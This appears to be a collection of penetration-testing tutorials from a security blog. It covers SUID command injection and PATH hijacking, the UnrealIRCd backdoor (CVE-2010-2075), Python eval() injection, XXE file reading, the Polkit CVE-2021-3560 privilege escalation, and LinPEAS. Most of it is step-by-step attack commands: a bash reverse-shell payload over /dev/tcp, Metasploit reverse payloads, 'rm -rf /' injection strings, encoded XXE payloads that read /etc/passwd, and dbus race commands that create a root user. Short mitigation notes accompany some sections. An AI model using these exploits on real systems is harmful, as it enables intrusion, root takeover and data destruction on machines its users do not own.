1. Let's consider another example where a vulnerable program allows an attacker to execute arbitrary commands while reading a file:

#include <stdio.h>
#include <stdlib.h>

int main() {
    char filename[100];
    printf("Enter a filename: ");
    scanf("%s", filename);
    char command[200];
    sprintf(command, "cat %s", filename);
    printf("Executing command: %s\n", command);
    return 0;

In this example, the program prompts the user for a filename and then constructs a command string to execute the cat command on the specified file. However, the input is not properly validated, allowing an attacker to inject arbitrary commands. For instance, if the user provides the input file.txt; rm -rf /, the attacker can execute the cat file.txt command followed by the dangerous rm -rf / command.

2. Running ltrace we find out the system call

  • ltrace ./example2
  • /etc/hosts

3. Exploiting this vulnerability we can inject commands

  • ltrace ./example2
  • /etc/hosts;date

Note: we see now the date output displayed

Subverting the PATH

If the programmer forgets to specify the full path for a binary, /bin/sh will check each of the locations on the PATH, in order until it finds an executable with the correct name, as soon as it finds one, it executes it with the permissions of the owner of the calling program. You can see how this could be used for privilege escalation, something under the control of one user results in something happening with another users permissions.


int main()

1. Running program1 we can see that it prints the contents of the current directory

  • ./program1

2. Running ltrace we can find out there is a system call

  • ltrace ./program1

3. Since, the full path is not defined, we can try to alter the contents of the $PATH variable, $PATH variable in Linux is an environment variable that stores a list of directories where the operating system searches for executable files when a command is entered in the shell.

  • echo $PATH
  • PATH=/tmp:$PATH
  • echo $PATH

4. We can now create a script in /tmp named ls, this new file needs to be set as executable

  • echo "/bin/date" > /tmp/ls
  • chmod 755 /tmp/ls
  • ./program1

5. Knowing we could inject commands that would help us escalate priveleges, or even acquire persistence, such as adding a new user, or spawning a new shell with the privileges of the user that runs the app


[Example 1] Exploiting application system call

1. In this scenario there is an application that apparently reads a file, and, executes the contents of it. It has SUID file set, so if we get to exploit it, we could get elevated privileges.

  • ls -l viewuser
  • ./viewuser

2. We see /tmp/listusers file is not found. We will run ltrace to try to figure out, if there would be any system() call

  • ltrace ./viewuser

3. Since, the script is executing system(), we can try to create a file in /tmp named as listusers file, we will enter /usr/bin/date command, and make this file as executable (making the file as executable could correct Permission denied error)

  • echo "/usr/bin/date" > /tmp/listusers
  • chmod a+x /tmp/listusers

4. Now running the application again, we don’t see the (sh: 1: /tmp/listusers: not found) error, instead we get the output of the /usr/bin/date command

5. Knowing we can execute a command we can now try to run a shell using /bin/bash

  • echo "/bin/bash" > /tmp/listusers
  • chmod a+x /tmp/listusers

6. Execute the script again, and we get root

  • ./viewuser
  • whoami


  • Input Validation: Validate the filename input to ensure it adheres to the expected file naming conventions. Reject any input that contains invalid characters or patterns.
  • File Content Validation: Before executing the command obtained from the file, validate and sanitize the content to ensure it consists only of expected characters and patterns. Reject any content that does not adhere to the expected format.
  • Restricted Command Execution: Consider implementing a restricted environment where only specific commands or a whitelist of allowed commands can be executed. This reduces the impact of potential command injection vulnerabilities.
  • Also, use full paths when calling binaries, scripts or programs





Steganography with Steghide

Steghide is a popular command-line tool used for hiding and extracting sensitive information within various file formats using steganography techniques. Steganography is the practice of concealing one piece of information within another.

Installing Steghide

Before you can use Steghide, you need to install it on your system. Here are the general steps:

  • Linux: Use your distribution's package manager (e.g., apt, yum) to install Steghide. For example, on Ubuntu, you can run sudo apt-get install steghide
  • macOS: You can use package managers like Homebrew or MacPorts to install Steghide. For Homebrew, run brew install steghide
  • Windows: Download the Steghide binary from the official website (https://steghide.sourceforge.io/) and follow the installation instructions.

How use

Hiding a Text File within an Image:

Let's assume you have a text file called "secret.txt" and an image file called "cover.jpg" in the same directory. Follow these steps to hide the text file within the image:

Open your terminal or command prompt and navigate to the directory where the files are located.

Use the following command to embed the text file within the image:

  • steghide embed -cf cover.jpg -ef secret.txt
  • <Passphrase>: 123456

This command tells Steghide to embed the "secret.txt" file within the "cover.jpg" image file.

Steghide will prompt you to enter a passphrase. Choose a strong passphrase and remember it, as you'll need it later to extract the hidden file.

After providing the passphrase, Steghide will generate a new file called "cover.jpg" (or the same name as the original file) with the embedded data.

Extracting a Hidden File from an Image:

Now, let's extract the hidden file from the image we created in the previous step. Follow these instructions:

Open your terminal or command prompt and navigate to the directory where the image file is located.

Use the following command to extract the hidden file:

  • steghide extract -sf cover.jpg
  • <Passphrase>: 123456

This command instructs Steghide to extract any hidden data from the "cover.jpg" image file.

Steghide will prompt you to enter the passphrase you used during the embedding process. Enter the correct passphrase.

Steghide will then extract the hidden file and save it in the current directory with its original name.

Hiding a File with Encryption:

In this example, we'll hide a file within an image, but we'll encrypt the file before embedding it. Follow these steps:

Encrypt the file you want to hide using your preferred encryption tool. Let's assume the encrypted file is called "secret.enc".

Open your terminal or command prompt and navigate to the directory where the files are located.

Use the following command to hide the encrypted file within the image:

  • steghide embed -cf cover.jpg -ef secret.enc -p <passphrase>

Replace <passphrase> with the passphrase you want to use for embedding the file.

Steghide will embed the encrypted file within the image using the provided passphrase.

Specifying an Output File:

By default, Steghide will overwrite the original file when embedding or extracting data. However, you can specify a different output file using the "-sf" (source file) and "-xf" (extract file) options.

To specify an output file during embedding, use the "-sf" option followed by the desired output file name. For example:

  • steghide embed -cf cover.jpg -ef secret.txt -sf output.jpg


(CVE-2010-2075)[Command Execution] UnrealIRCD Backdoor

UnrealIRCd contains a backdoor in the DEBUG3_DOLOG_SYSTEM macro. Various mirror sites hosting Unreal3.2.8.1.tar.gz with the 752e46f2d873c1679fa99de3f52a274d Md5 checksum since November 2009 have been compromised. A remote attacker could exploit this vulnerability to execute arbitrary commands with privileges of the application. CVE-2010-2075

UnrealIRCd, an open-source Internet Relay Chat (IRC) server, typically uses a few specific ports for its operation. Here are the commonly used ports by UnrealIRCd:

  • Port 6667: This is the default port for IRC servers. It is used for plaintext, unencrypted IRC communication. Clients can connect to the IRC server using this port to join chat rooms and interact with other users.
  • Port 6697: This port is commonly used for secure IRC communication over SSL/TLS. It provides an encrypted connection between the IRC server and clients, ensuring data confidentiality and integrity.
  • Port 7000: Often used for IRC over SSL/TLS (encrypted communication) as an alternative to port 6697. Some IRC networks or services may choose to use this port instead

Affected Products

UnrealIRCd UnrealIRCd


1. First step would be to identify the open ports in the server

  • nmap -p- -T 5 --max-retries 1

2. Now identify the version of the application, you can connect to the UnrealIRC port (6667, 6697, 7000), based on https://www.rfc-editor.org/rfc/rfc1459 , you can connect to the server using telnet, or netcat.

  • telnet 6697
  • (OPTIONAL) netcat 6697

3. We can authenticate and connect to the server to find out the version

  • PASS vry4n
  • NICK vry4n
  • USER vry4n atVK9 Security :vry4n

Note: the version is

Version enumeration using nmap

1. Run the /usr/share/nmap/scripts/irc-info.nse script against the UnrealIRC port

  • nmap -p 6667 -sV --script=irc-info

Exploiting using Nmap (irc-unrealircd-backdoor.nse)

1. Nmap has a script that exploits this vulnerability, once we have confirmed the server has the vulnerable version we can, start a netcat listener on our local machine

  • nc -lvp 4444

2. Now proceed to run the following command, feel free to modify the command injection as you please (--script-args=irc-unrealircd-backdoor.command='')

  • nmap -d -p6697 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='bash -c "bash -i >& /dev/tcp/ 0>&1"'

3. After a while check the listener

Exploitation using a Script

1. We can try to exploit this vulnerability using the script (https://github.com/Ranger11Danger/UnrealIRCd-

  • git clone https://github.com/Ranger11Danger/UnrealIRCd-
  • ls
  • cd UnrealIRCd-
  • ls

2. Display the options

  • python3 exploit.py -h

3. Edit the source code, and add the local_ip & local_port

  • local_ip = ''
  • local_port = '7777'

4. Start a listener

  • nc -lvp 7777

5. After editing the source code, run the application

  • python3 exploit.py -payload bash 6697

6. Check the listener

Note: A reverse connection should be started.

Exploitation using Metasploit (unreal_ircd_3281_backdoor)

1. This module exploits a malicious backdoor that was added to the Unreal IRCD download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.

  • use exploit/unix/irc/unreal_ircd_3281_backdoor
  • show options

2. Set the remote host and optionally set the remote port

  • set RHOSTS
  • (OPTIONAL) set RPORT 6697

3. Show the payload options and use one of them

  • show options
  • set payload payload/cmd/unix/reverse_ruby

4. Set the local IP and port, then start the exploit

  • set LHOST
  • (OPTIONAL) set LPORT 7777
  • exploit


The best recommendation will be to upgrade to the latest version released by the vendor. Refer to unrealsecadvisory 20100612 for patch, upgrade or suggested workaround information. Re-download the software, verify it using the published MD5 / SHA1 checksums, and re-install it.

You can check by running 'md5sum Unreal3.2.8.1.tar.gz', it should

output: 7b741e94e867c0a7370553fd01506c66 Unreal3.2.8.1.tar.gz

For reference, here are the md5sums for ALL proper files:

7b741e94e867c0a7370553fd01506c66 Unreal3.2.8.1.tar.gz

5a6941385cd04f19d9f4241e5c912d18 Unreal3.2.8.1.exe

a54eafa6861b6219f4f28451450cdbd3 Unreal3.2.8.1-SSL.exe













Exploiting Python EVAL() Code Injection

Python is a versatile and powerful programming language known for its simplicity and readability. One of the features that makes Python flexible is the eval() function, which allows the execution of dynamically generated code. While eval() can be a useful tool in certain situations, it also carries inherent security risks if used improperly. In this article, we will delve into the dangers of Python EVAL code injection and how it can be exploited by malicious actors.

Understanding EVAL and Code Injection:

The eval() function in Python evaluates a string as a Python expression and returns the result. It allows developers to dynamically execute code during runtime, providing great flexibility. However, if user-supplied input is directly passed into eval(), it can lead to code injection vulnerabilities.

Code injection occurs when an attacker manages to insert malicious code into a program, exploiting a vulnerability in the system. In the case of Python EVAL code injection, an attacker manipulates input data to execute unintended commands, potentially compromising the security and integrity of the system.

Exploiting EVAL Code Injection:

Exploiting EVAL code injection involves crafting input that can be executed by eval() in an unintended manner. Here's an example:

In this code snippet, the user is prompted to enter a number, which is then concatenated with a string to form an expression that is passed to eval().

If an attacker enters malicious input like "__import__('os').system('rm -rf /')" instead of a valid number, the eval() function will execute the unintended command, resulting in the deletion of files on the system.


1. So, by running this function normally, the eval() will add 2 + the user provided input.

  • python3 eval_test.py
  • 4

2. Abusing this eval function we can inject code, in this case

  • python3 eval_test.py
  • __import__('os').system('date')

3. You can then exploit further to get a reverse shell, escalate privileges, or read/write important files

Bypass examples

Most of the time, we need to bypass another expression to execute our desired command.

Mitigating the Risks:

To protect against EVAL code injection, it is crucial to follow best practices for input validation and sanitization. Here are some recommended measures:

  • Input Validation: Always validate user input to ensure it conforms to expected formats and ranges. Use appropriate validation techniques like regular expressions or type checking to filter out potentially harmful input.
  • Avoid Direct EVAL: Whenever possible, avoid using eval() to evaluate user input. Consider alternative approaches that don't involve executing arbitrary code, such as using ast.literal_eval() to safely evaluate literals.
  • Context-Specific Evaluation: If you must use eval(), restrict the evaluation to a specific context by creating a whitelist of allowed functions, modules, or operations. This approach limits the potential damage an attacker can inflict.
  • Use Secure Defaults: Configure your system and applications with secure defaults, such as running with limited privileges or using a restricted execution environment. This reduces the impact of code injection vulnerabilities.
  • Regularly Update Dependencies: Keep your Python interpreter and libraries up to date to benefit from security patches and fixes. Many vulnerabilities related to EVAL code injection are often addressed in newer versions.








[How to] XXExploit Guide

It generates the XML payloads, and automatically starts a server to serve the needed DTD's or to do data exfiltration.


1. To install XXExploit, you first need to install npm module. npm stands for "Node Package Manager." It is a package manager for JavaScript that allows developers to easily install and manage dependencies for their Node.js projects.

  • sudo apt install nodejs
  • sudo apt install npm

2. Install the XXExploiter module using npm

  • sudo npm install -g xxexploiter

3. Run the tool

  • xxexploiter

Building and Running from source

1. This is a simple Node application written with typescript. So you can build it as you build other apps:

(install node and npm first, if you dont have them)

  • npm install
  • npm run build

Note: you may need to npm install tsc -g in order for 'npm build' to succeed

2. To run the app you can do it with one of two ways:

  • npm start [args]
  • node dist/index.js [args]

Or you can install it on your system:

  • npm link

How to

1. There are basically 4 main commands:

  • file – to read local files
  • request – do SSRF attack, to make requests from the target machine
  • expect – Use PHP expect to execute commands, if your target is a PHP app
  • XEE – Just do parameter expansions to try to cause a DOS.

2. File: We will create a default payload to read a common file /etc/passwd

  • xxexploiter file /etc/passwd

3. Request: We will make a request from the target machine to a website

  • xxexploiter request

3. Expect: Creates a default payload to execute system commands

  • xxexploiter expect id

Using other options


-t, --template : path to an XML template where to inject payload

  • xxexploiter file /etc/passwd --template exploit.xml

Write an output file

-x : Use a request to automatically send the xml file

  • xxexploiter file /etc/passwd --template exploit.xml -o payload.xml
  • cat payload


-m, --mode : Extraction Mode: xml, oob, cdata. Default: xml

-s, --server : Server address for OOB and DTD

-p, --port : Server port for OOB and DTDs. Default: 7777

If you choose to use OOB or CDATA mode, XXExploiter will generate the necessary dtd to be included, and will start a server to host them.

  • xxexploiter -s file /c/windows/win.ini -t exploit.xml -m oob


-e, --encode : Extraction Encoding: none, phpbase64. Default: none

  • xxexploiter file /etc/passwd --template exploit.xml -e phpbase64






Exploiting XML External Entities (XXE) in custom application

XXE vulnerabilities can be exploited by attackers to manipulate XML parsing functionality, potentially leading to unauthorized access, sensitive data exposure, or even remote code execution. This article aims to provide a comprehensive guide to understanding and exploiting XXE vulnerabilities, shedding light on the techniques employed by attackers and helping security professionals and developers bolster their defenses.

For more information visit our publication named XML external entity (XXE) injection

#1 Example: exploiting a custom XML web app

This application accepts users’ input, and processes them as XML. The application doesn’t have any security restrictions, so, it is vulnerable to XXE attacks

1. First step is to use the application normally, and, explore its functionality


2. Entering data we see it provides some output, based on what we entered.

3. Now, we will try to capture the request using BurpSuite or any other web proxy you may have, I noticed the following

  • The application is calling /tracker_diRbPr00f314.php to send the data
  • The contents of the data variable seem to be URL encoded

4. The response doesn’t contain anything interesting other than the data we sent

5. Now we will try to use BurpSuite decoder module, to decode the data that has been sent in the Request

Encoded data

  • PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U%2BQ1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M%2BCgkJPHJld2FyZD4kMjAuMDAwPC9yZXdhcmQ%2BCgkJPC9idWdyZXBvcnQ%2B

Decoded data

  • PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U+Q1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M+CgkJPHJld2FyZD4kMjAuMDAwPC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+

6. It looks the result is base64 encode, so now we will try to decode this output using Linux

  • echo 'PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U+Q1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M+CgkJPHJld2FyZD4kMjAuMDAwPC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+' | base64 -d

7. Now, we can see the output is XML, we can know try to run a simple XXE query to see if we get text printed on screen, so send the request to Repeater


1. Being able to repeat this request, we will proceed to modify the current data sent, now that it has been decoded, edit it and then encode it using base64

  • vi exploit.xml
  • cat exploit.xml
  • cat exploit.xml | base64

Our encoded data is: PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWwo8IUVOVElUWSB4eGUgIlZrOVNlY3VyaXR5Ij4KXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U+Q1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M+CgkJPHJld2FyZD4meHhlOzwvcmV3YXJkPgoJCTwvYnVncmVwb3J0PiAgICAK

2. Now proceed to use BurpSuite decoe module to encode this in URL format

The URL encode ouput is: %50%44%39%34%62%57%77%67%49%48%5a%6c%63%6e%4e%70%62%32%34%39%49%6a%45%75%4d%43%49%67%5a%57%35%6a%62%32%52%70%62%6d%63%39%49%6b%6c%54%54%79%30%34%4f%44%55%35%4c%54%45%69%50%7a%34%4b%50%43%46%45%54%30%4e%55%57%56%42%46%49%47%52%68%64%47%45%67%57%77%6f%38%49%55%56%4f%56%45%6c%55%57%53%42%34%65%47%55%67%49%6c%5a%72%4f%56%4e%6c%59%33%56%79%61%58%52%35%49%6a%34%4b%58%54%34%4b%43%51%6b%38%59%6e%56%6e%63%6d%56%77%62%33%4a%30%50%67%6f%4a%43%54%78%30%61%58%52%73%5a%54%35%43%64%57%5a%6d%5a%58%49%67%54%33%5a%6c%63%6d%5a%73%62%33%63%38%4c%33%52%70%64%47%78%6c%50%67%6f%4a%43%54%78%6a%64%32%55%2b%51%31%5a%46%4c%54%49%77%4d%6a%4d%74%4d%44%41%77%4d%44%77%76%59%33%64%6c%50%67%6f%4a%43%54%78%6a%64%6e%4e%7a%50%6a%45%77%4c%6a%41%38%4c%32%4e%32%63%33%4d%2b%43%67%6b%4a%50%48%4a%6c%64%32%46%79%5a%44%34%6d%65%48%68%6c%4f%7a%77%76%63%6d%56%33%59%58%4a%6b%50%67%6f%4a%43%54%77%76%59%6e%56%6e%63%6d%56%77%62%33%4a%30%50%69%41%67%49%43%41%4b%0a

3. Now, we proceed to use this in our request instead of the original data, modify the data= variable data, our data in the external entity should be printed. (Vk9Security)


1. Now that we know we can run external entities, we can proceed to try to read a common file (/etc/passwd) using the file method

  • vi exploit.xml
  • cat exploit.xml
  • cat exploit.xml | base64

Our encoded data is: PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWwo8IUVOVElUWSB4eGUgU1lTVEVNICJmaWxlOi8vL2V0Yy9wYXNzd2QiPgpdPgoJCTxidWdyZXBvcnQ+CgkJPHRpdGxlPkJ1ZmZlciBPdmVyZmxvdzwvdGl0bGU+CgkJPGN3ZT5DVkUtMjAyMy0wMDAwPC9jd2U+CgkJPGN2c3M+MTAuMDwvY3Zzcz4KCQk8cmV3YXJkPiZ4eGU7PC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+ICAgIAo=

2. Now URL encode this base64 string using burp suite decoder module

The URL encode ouput is: %50%44%39%34%62%57%77%67%49%48%5a%6c%63%6e%4e%70%62%32%34%39%49%6a%45%75%4d%43%49%67%5a%57%35%6a%62%32%52%70%62%6d%63%39%49%6b%6c%54%54%79%30%34%4f%44%55%35%4c%54%45%69%50%7a%34%4b%50%43%46%45%54%30%4e%55%57%56%42%46%49%47%52%68%64%47%45%67%57%77%6f%38%49%55%56%4f%56%45%6c%55%57%53%42%34%65%47%55%67%55%31%6c%54%56%45%56%4e%49%43%4a%6d%61%57%78%6c%4f%69%38%76%4c%32%56%30%59%79%39%77%59%58%4e%7a%64%32%51%69%50%67%70%64%50%67%6f%4a%43%54%78%69%64%57%64%79%5a%58%42%76%63%6e%51%2b%43%67%6b%4a%50%48%52%70%64%47%78%6c%50%6b%4a%31%5a%6d%5a%6c%63%69%42%50%64%6d%56%79%5a%6d%78%76%64%7a%77%76%64%47%6c%30%62%47%55%2b%43%67%6b%4a%50%47%4e%33%5a%54%35%44%56%6b%55%74%4d%6a%41%79%4d%79%30%77%4d%44%41%77%50%43%39%6a%64%32%55%2b%43%67%6b%4a%50%47%4e%32%63%33%4d%2b%4d%54%41%75%4d%44%77%76%59%33%5a%7a%63%7a%34%4b%43%51%6b%38%63%6d%56%33%59%58%4a%6b%50%69%5a%34%65%47%55%37%50%43%39%79%5a%58%64%68%63%6d%51%2b%43%67%6b%4a%50%43%39%69%64%57%64%79%5a%58%42%76%63%6e%51%2b%49%43%41%67%49%41%6f%3d%0a

3. Now use this special crafted encoded XML file in BurpSuite repeater, modifying the data= variable data

4. As you can see the contents of /etc/passwd are displayed on the response









(CVE-2021-3560)[Local Privilege Escalation] Polkit 0.105-26 0.117-2

CVE-2021-3560 has emerged as a significant concern for Linux-based systems. This security flaw, also known as the "Polkit" vulnerability, allows local attackers to gain root privileges, potentially leading to complete compromise of the affected system. In this article, we will delve into the details of CVE-2021-3560, its impact, and recommended measures to mitigate the risk.

What is Polkit

Polkit, also known as PolicyKit, is a framework used in Linux systems for defining and managing policies related to system privileges and access control. It provides a way to control permissions for various actions and resources, allowing non-root users to perform administrative tasks without granting them full superuser (root) privileges.

The primary purpose of Polkit is to facilitate fine-grained authorization decisions based on defined policies. It allows system administrators to specify rules and conditions for granting or denying access to privileged operations, such as system configuration changes, device management, or software installation.

Here's a high-level overview of how Polkit works:

  • Policy Definitions: Polkit relies on policy definitions that specify the desired authorization rules. These policies are usually defined in XML files located in the /etc/polkit-1/ directory. The policies describe the actions, authentication requirements, and associated privileges.
  • Authentication Agents: When a user requests an action that requires elevated privileges, such as modifying system settings, a Polkit-aware application or process checks the policy associated with that action. If the policy allows the user to perform the action, an authentication agent is invoked.
  • Authentication Dialog: The authentication agent presents an authentication dialog to the user, prompting for credentials, such as a password or biometric authentication. The dialog can vary depending on the desktop environment or the specific application invoking Polkit.
  • Authorization Check: The entered credentials are verified against the authentication requirements specified in the policy. If the credentials are valid and meet the criteria, Polkit grants the user temporary authorization to perform the requested action with elevated privileges.
  • Action Execution: With the temporary authorization, the requesting application or process can proceed to execute the action with the necessary privileges. Once the action is completed or the authorization expires, the elevated privileges are revoked.

What is dbus

dbus is a message system for applications to talk to one another (known as IPC or interprocess communication). This was developed as part of the freedesktop.org project. A basic dbus command to list system services looks like this:

  • dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames

dbus stores service files in /usr/share/dbus-1/system-services

  • cd /usr/share/dbus-1/system-services
  • ls -la

Accounts. service which triggers accounts-daemon to perform user addition/modification options.

  • cat org.freedesktop.Accounts.service

Using this service file to add an user

  • dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:vry4n string:"vry4n user" int32:1

--system: sends message to the system bus

--dest: name of the connection (interface) that receives the message

--type: method_call means a system function with arguments being passed

--print-reply: prints the output in human-readable format

/org/freedesktop/Accounts: This is the function that will be used

org.freedesktop.Accounts.CreateUser: Method that will be used. Here, create user method is used which will essentially create a new user with the name specified in string 1. String 2 is the name (“ignite user”) that will be visible in the system. int32 is an integer argument the method takes in that specifies the type of account encoded as an integer.

Overview of CVE-2021-3560:

CVE-2021-3560 is a privilege escalation vulnerability that affects the Polkit system service, which provides an authorization framework for granting privileges in Linux distributions. Polkit, also known as PolicyKit, is commonly used to handle authorization decisions, allowing non-root users to perform certain administrative tasks with the appropriate permissions.

The vulnerability resides in the Polkit's handling of authentication credentials. A flaw in the implementation allows a local attacker with a low-privileged account to bypass the authentication process and execute arbitrary commands with elevated privileges. This could result in unauthorized access, data compromise, and potential system-wide impact.

The exact vulnerable piece of code in the provided Polkit code is located in the on_response function. Here are the lines that introduce the vulnerability:

The vulnerability lies in the polkit_agent_listener_handle_response function, which processes the response received from the Polkit authentication agent. The flaw allows an authenticated user to bypass the authentication process and execute arbitrary commands with elevated privileges.

By manipulating the response or injecting a malicious response, an attacker can exploit the race condition within the authentication process and gain unauthorized root access.

Affected Systems:

The vulnerability affects various Linux distributions that utilize Polkit versions before 0.119. This includes popular distributions like Ubuntu, Debian, Fedora, CentOS, and their derivatives. It is crucial for administrators and users of these distributions to promptly address the vulnerability to prevent potential exploitation.

polkit 0.105-26 0.117-2

polkit polkit 0.113

polkit polkit 0.118

Red Hat Enterprise Linux 8

Fedora 21 (or later)

Debian Testing (“Bullseye”)

Ubuntu 20.04 LTS (“Focal Fossa”)


1. In order to identify the version of the PolicyKit (polkit) we can run the following commands


  • rpm -qa | grep -i polkit
  • rpm -qa | grep -i policykit


  • apt list --installed | grep -i policykit
  • apt list --installed | grep -I polkit

(Optional) 2. Check these 2 services are available

  • rpm -qa | grep -i accountsservice
  • rpm -qa | grep -i gnome-control-center

Exploitation Scenario

To exploit CVE-2021-3560, an attacker must have a local account on the targeted Linux system. By leveraging a race condition in the Polkit's authentication mechanism, an attacker can trick the system into granting privileged access. This is achieved by simultaneously requesting an authentication action and replacing it with a different, unauthorized action before the authentication process completes.

Upon successful exploitation, the attacker can execute commands with elevated privileges, essentially gaining root access to the system. This level of control opens the door for further malicious activities, such as installing malware, modifying system configurations, exfiltrating sensitive data, or launching additional attacks within the compromised environment.

1. For the exploit to work, we need to kill the command while it is being executed. For this we need to check the time it takes to execute this command.

  • time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:vry4n string:"vry4n user" int32:1

2. As you can see, it takes me 0.059 seconds to execute this command. So, I need to kill my payload before 0.059 seconds for it to work. (Run it many times, it usually doesn’t work at first, it took me like 14 times, confirm by running “cat /etc/passwd”

  • dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:vry4n string:"vry4n user" int32:1 & sleep 0.0035s ; kill $!
  • cat /etc/passwd | tail -n 5

Note: The User Vry4n has been added

3. Next, we need to supply the password using dbus so that we can use this newly created user. We need to generate a hashed password as dbus-send takes in hashed password as input.

  • openssl passwd -5 vry4n@123
  • Result: $5$kQUWJ.fDBUvxYaRy$XJoPnNSwyteh.YXstbXAV1l79lttePHafkIBR/KFEd9

4. Now we need to pass this hash in User.SetPassword function using dbus under a string parameter. The payload looks like, (also run this command multiple times until success), User1005 means the user ID which needs to match what is in /etc/passwd

  • dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1005 org.freedesktop.Accounts.User.SetPassword string:' $5$kQUWJ.fDBUvxYaRy$XJoPnNSwyteh.YXstbXAV1l79lttePHafkIBR/KFEd9' string:BestHackingTutorials & sleep 0.0035s ; kill $!

5. Once the User add & the Password change commands succeed, one after the other, we can proceed to log in Username: Vry4n & Password: 123456

  • su vry4n
  • Password: 123456
  • sudo su
  • Password:123456
  • id
  • whoami

#1 - Exploitation using a Script

1. This is a script that automates this task, first of all let’s download it, start a web server to transfer it to the target machine

  • git clone https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation.git
  • cd CVE-2021-3560-Polkit-Privilege-Esclation
  • ls
  • python3 -m http.server 9999

2. Now, transfer the file into the target machine, and run it ([!] If the username is inserted, but the login fails; try running the exploit again.)

  • bash poc.sh
  • Credentials: secnigma: secnigmaftw

#2 Exploitation using a Script

1. In this example we are going to test, https://www.exploit-db.com/exploits/50011, This is another bash script that can be used as an alternative. Transfer the file into the target machine and run it. (if username added to /etc/passwd and the password doesn’t work, run it several times until it succeeds)

  • vi exploit.sh
  • bash exploit.sh

2. Now try to switch to that user (hacked:password)

  • su hacked
  • Password: password
  • sudo su -
  • Password: password
  • whoami
  • id

#3 Exploitation using a Script

1. We can try this other alternative written in python (https://github.com/UNICORDev/exploit-CVE-2021-3560), so download it in your local machine, then start a web server to deploy it into the target machine

  • git clone https://github.com/UNICORDev/exploit-CVE-2021-3560.git
  • cd exploit-CVE-2021-3560
  • ls
  • python3 -m http.server 9999

2. Download the file from our web server, then, run the application

  • wget
  • python3 exploit-CVE-2021-3560.py

3. After successful execution, elevate the privileges(Username: unicord & Password: unicord), if it doesn’t work the first time, run it several times. Verify the user has been added by reading /etc/passwd file

  • su unicord
  • Password: unicord
  • sudo su
  • Password: unicord
  • whoami
  • id

Mitigation and Remediation:

Linux system administrators and users are strongly advised to take the following actions to mitigate the risks associated with CVE-2021-3560:

Update Polkit: Apply the latest security patches and updates provided by the respective Linux distribution. These updates typically include the patched version of Polkit, addressing the vulnerability. Keeping the system up to date is essential for maintaining a secure environment.

Monitor Security Advisories: Stay informed about security advisories and notifications from the Linux distribution's official channels. This ensures timely awareness of vulnerabilities and recommended remediation steps.

Restrict Privileges: Implement the principle of least privilege (PoLP) by limiting user privileges to only those necessary for their tasks. Minimizing the number of accounts with administrative privileges can significantly reduce the potential impact of privilege escalation vulnerabilities.

Security Audits: Conduct regular security audits and vulnerability assessments to identify potential weaknesses and ensure that systems are adequately protected. Tools like LinPEAS.sh, which performs comprehensive scans for privilege escalation vulnerabilities, can be useful in this regard.

















Enumerate Linux using LinPEAS.sh

LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix*/MacOS hosts.

LinPEAS.sh is a script used for privilege escalation and enumeration on Linux systems. It is part of the LinEnum project, which is a collection of scripts and tools designed to assist in the discovery and exploitation of Linux vulnerabilities and weaknesses.

LinPEAS.sh, specifically, focuses on identifying misconfigurations, insecure settings, and other potential security issues that could lead to privilege escalation. It scans the system for various indicators and gathers information about the operating system, running processes, network connections, installed software, file permissions, and more.

The script performs a comprehensive analysis of the system, looking for common security weaknesses such as world-writable files, misconfigured cron jobs, weak file permissions, unquoted service paths, and other potential vulnerabilities that can be exploited by an attacker.

By running LinPEAS.sh, system administrators and security professionals can quickly identify potential security risks and take appropriate actions to mitigate them. It is a useful tool for both offensive security assessments and defensive security measures.

It's worth noting that LinPEAS.sh should only be used on systems that you have permission to test or analyze. Running it on unauthorized systems or without proper authorization may be illegal and violate the system owner's privacy and security rights. Always ensure you have proper authorization and follow ethical guidelines when using such tools.

How to use

1. Download the Script (https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)

  • curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh > LinPEAS.sh

2. Send the file into the server, prepare a web server for the transfer

  • python3 -m http.server 9999

3. Download from the remote machine

  • wget

4. Run the application

  • bash LinPEAS.sh





(2019-17671)[information disclosure] WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts

